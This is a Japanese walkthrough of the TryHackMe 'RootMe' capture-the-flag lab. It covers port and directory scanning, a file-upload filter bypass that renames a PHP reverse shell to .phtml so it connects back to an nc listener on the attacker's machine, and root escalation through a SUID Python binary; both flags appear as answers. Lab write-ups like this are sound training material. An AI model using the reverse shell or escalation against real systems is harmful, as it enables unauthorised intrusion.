【WalkThrough】#1 TryHackMe / RootMe

# はじめに
TryHackMeのルーム「RootMe」のWalkThroughです。

https://tryhackme.com/r/room/rrootme

# ルームの概要
難易度EasyのChallengeルームとなっています。
説明欄を見ても初心者向けだということが伺えます。
タスクの問題を見る限り若干Tutorialルームっぽさもありそう?(**個人の意見です**)

### 主な目標・攻略の流れ
今回はタスクに沿って流れを設定します。

Task1 : **Deploy the machine** (マシンを起動)
Task2 : **Reconnaissance** (偵察)
Task3 : **Getting a shell** (シェルを取得)
Task4 : **Privilege escalation** (権限昇格)

目標は`user.txt`と`root.txt`に書かれているフラグの入手です。

今回のWalkThroughでは、Task1がターゲットマシンを起動するだけの内容となっているので解説は省略させていただきます。

それでは始めていきましょう。
*Try Harder!*

# 環境・記事に関するお詫び
解説の前に今回のIPアドレスを載せておきます。参考にする際は順次置き換えて進めてください。
```
ローカルマシン(VPN): 10.9.1.210
ターゲットマシン: 10.10.203.134
```
また、今回ローカルマシンはKali 2024.4を使用し、作業ディレクトリは`~/thm/RootMe`とします。
解答はノートに載せ、(答えは不要)は空欄でも問題ないことを示します。

:::note warn
記事に載せている写真についてですが、こちらのミスで所々タスクバーが見えていたり翻訳が入っていたりしています。申し訳ございません。
:::

# Task2 : Reconnaissance
マシンの偵察を行います。

### Q1. Scan the machine, how many ports are open?
nmapでポートスキャンを実行します。
```
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ nmap --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.203.134
(中略)
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ cat nmap-1.txt         
# Nmap 7.95 scan initiated Wed Jan 15 22:40:29 2025 as: /usr/lib/nmap/nmap --privileged --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.203.134
Nmap scan report for 10.10.203.134
Host is up, received user-set (0.29s latency).
Scanned at 2025-01-15 22:40:29 JST for 13s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 15 22:40:42 2025 -- 1 IP address (1 host up) scanned in 13.41 seconds
```
`22`,`80`ポートがオープンとなっていました。

:::note
A. 2
:::

### Q2. What version of Apache is running?
nmapの実行結果から、Apacheのバージョンは`2.4.29`とわかります。

:::note
A. 2.4.29
:::

### Q3. What service is running on port 22?
同様に、実行結果を調べると`22`ポートではSSHが動いていることがわかります。

:::note
A. ssh
:::

### Q4. Find directories on the web server using the GoBuster tool.
GoBusterで隠しディレクトリを探します。今回は辞書ファイルにdirbのcommon.txtを使います。
```
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ gobuster dir -u http://10.10.203.134 -w /usr/share/dirb/wordlists/common.txt -o gobuster-1.txt -t 64
(中略)
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ cat gobuster-1.txt 
/.hta                 (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/css                  (Status: 301) [Size: 312] [--> http://10.10.203.134/css/]
/index.php            (Status: 200) [Size: 616]
/js                   (Status: 301) [Size: 311] [--> http://10.10.203.134/js/]
/panel                (Status: 301) [Size: 314] [--> http://10.10.203.134/panel/]
/server-status        (Status: 403) [Size: 278]
/uploads              (Status: 301) [Size: 316] [--> http://10.10.203.134/uploads/]
```

:::note
A. (答えは不要)
:::

### Q5. What is the hidden directory?
GoBusterの実行結果を見ると、`/panel`と`/uploads`が隠しディレクトリとして出てきていることがわかります。今回は回答形式にあわせて`/panel`が答えとなります。

:::note
A. /panel/
:::

# Task3 : Getting a shell
ここでは、シェルの取得を目標として進めます。

### Q1. user.txt
まずはWebサイトにアクセスしてみます(`http://10.10.203.134`)。
![web-home.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/497e79fe-ba41-9e05-7084-dd5224bee667.png)
シンプルかつスタイリッシュ(?)なサイトが出てきました。
ソースを見ても何もなさそうなので、Task2で見つけた隠しディレクトリに行ってみましょう(`/panel`)。
![web-panel.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/0e37639b-c0fa-6f09-6c0a-467cec0dc851.png)
何やらファイルをアップロードできそうですね。試しに`test.txt`でも作ってアップロードしてみましょう。
```
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ echo "RootMe" > test.txt                                          

┌──(kali㉿kali)-[~/thm/RootMe]
└─$ cat test.txt      
RootMe
```
![web-panel-uploaded.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/c9d3d774-6709-b5ed-44c4-8d638482dbd3.png)
正常にアップロードできたようです。もう一つの隠しディレクトリ`/uploads`にアクセスすると、アップロードしたファイルが閲覧できます。
![web-uploads.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/46ad51db-8000-e489-77b1-0b160808611e.png)
ここで戦略を考えてみましょう。**もしPHPファイルなども同様にアップロードし実行できたら、リバースシェルを用いてシェルが取得できますよね。** 早速試してみましょう。
リバースシェルはKaliにデフォルトで入っているものを使用します。
```
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php .

┌──(kali㉿kali)-[~/thm/RootMe]
└─$ vim php-reverse-shell.php
```
`$ip`を**ローカルホストの**IPアドレスに変更します。ポート番号は変更してもしなくても問題ありません(変える場合は後述の`nc`コマンドのポート番号も併せて変更する)。
```php:php-reverse-shell.php
<?php
(中略)
$ip = '10.9.1.210';  // CHANGE THIS
$port = 1234;  //CHANGE THIS
(略)
```
:::note warn
`$ip`は**ローカルホストの**IPアドレスを設定します。
間違ってターゲットマシンのIPアドレスを設定しないようにしましょう。
:::
先ほどの`test.txt`と同じようにアップロードしていきます。
![web-panel-php-wait.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/beef22d6-fbf2-cbb2-214a-b175c9152c59.png)
Uploadをクリック。
![web-panel-php-block.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/4545c126-c289-9727-e6ec-c9d679c5a3a6.png)
`test.txt`のときとは違い、「PHPは使用できない」との文が。どうやらPHPファイルはアップロードできないようです。

では、これを踏まえてもう一度作戦を立て直しましょう。
僕が考えた案は次の2つ(3つ)です。
1. `.php`形式ではなく、`.php`形式と互換性がある`.phtml`形式に直して再アップロードする
1. PHPではなく、Pythonなど他の言語で試してみる
1. (上記の2つがだめであれば、burpsuiteを用いてアップロードできる形式を確認するなど)

試してみましょう。
#### 1. .phpから.phtmlへ
```
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ mv php-reverse-shell.php php-reverse-shell.phtml
```
![web-panel-phtml-uploaded.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/b9bfbbc0-c348-c738-db8b-202f07bf6777.png)
成功したようです!ではいよいよリバースシェルを実行しシェルを取得していきます。

:::note
今回は拡張子を`.phtml`にして通しましたが、もしかしたら2. の方法も使えるかもしれません。興味があれば試してみてください。
([Reverse Shell Generator](https://www.revshells.com/)では、PHPはもちろんPythonやGo、C言語など様々な形式のリバースシェルを簡単に生成することができるのでおすすめです。)
:::
実行する前に、以下のコマンドを実行します。
```
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ nc -lvnp 1234
```
`/uploads`ディレクトリにアクセスし、先ほどアップロードしたリバースシェルをクリックして実行しましょう。
ターミナルに以下のメッセージが表示され、入力が待機状態になっていれば成功です!おめでとうございます!
```
listening on [any] 1234 ...
connect to [10.9.1.210] from (UNKNOWN) [10.10.203.134] 51666
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 14:49:31 up  1:16,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 
```
いくつかコマンドを実行して、侵入できているか確認してみましょう。
```
$ pwd
/
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
では、長くなってしまいましたがQ1の目的であるuser.txtを取っていきます。
```
$ find / -name 'user.txt'
(中略)
/var/www/user.txt
(中略)
$ cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
```
これにてフラグゲットです!

:::note
A. THM{y0u_g0t_a_sh3ll}
:::

# Task4 : Privilege escalation
最後に、権限昇格でroot権限の取得を図ります。

### Q1. Search for files with SUID permission, which file is weird?
SUID権限を持ったファイルを列挙してみましょう。
```
$ find / -perm -u=s -type f 2>/dev/null
(中略)
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
(略)
```
注目するべきは`/usr/bin/python`にSUIDがついていることですね。こうなっていればPythonスクリプト実行し放題です。

:::note
A. /usr/bin/python
:::

### Q2. Find a form to escalate your privileges.
Q1で見つけた穴を[GTFOBins](https://gtfobins.github.io/)で深堀りしてみましょう。
検索欄に`python`と入力します。
![gtfobins-search.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/2a5a15d8-9d01-1881-411c-c502dcc17d2a.png)
ありましたね。`SUID`をクリックして確認します。
![gtfobins-python-suid.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/e5ce63e0-6097-de8e-3c8a-1f49ae688581.png)
見つかりました。どうやらピンクの枠にあるコマンドの中で下の行を実行すればよいそうです(ただし、`./python`の部分は絶対パスにする必要あり(この場合は`/usr/bin/python`))。
```
$ /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

```
何も表示されませんが、成功しているのでご安心ください(`id`コマンドを実行してroot権限があることを確認するとよい)。
```
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
```

:::note
A. (答えは不要)
:::

### Q3. root.txt
最後に、root.txtを取って締めとしましょう。
```
cd /root     
ls
root.txt
cat root.txt
THM{pr1v1l3g3_3sc4l4t10n}
```
これでルームクリアです。**ここまでお疲れさまでした!**

:::note
A. THM{pr1v1l3g3_3sc4l4t10n}
:::

:::note
Task4で使った[GTFOBins](https://gtfobins.github.io/)は、他にも様々なPwnのテクニックが載っているのでこれからもぜひ参考にしてみてください。
:::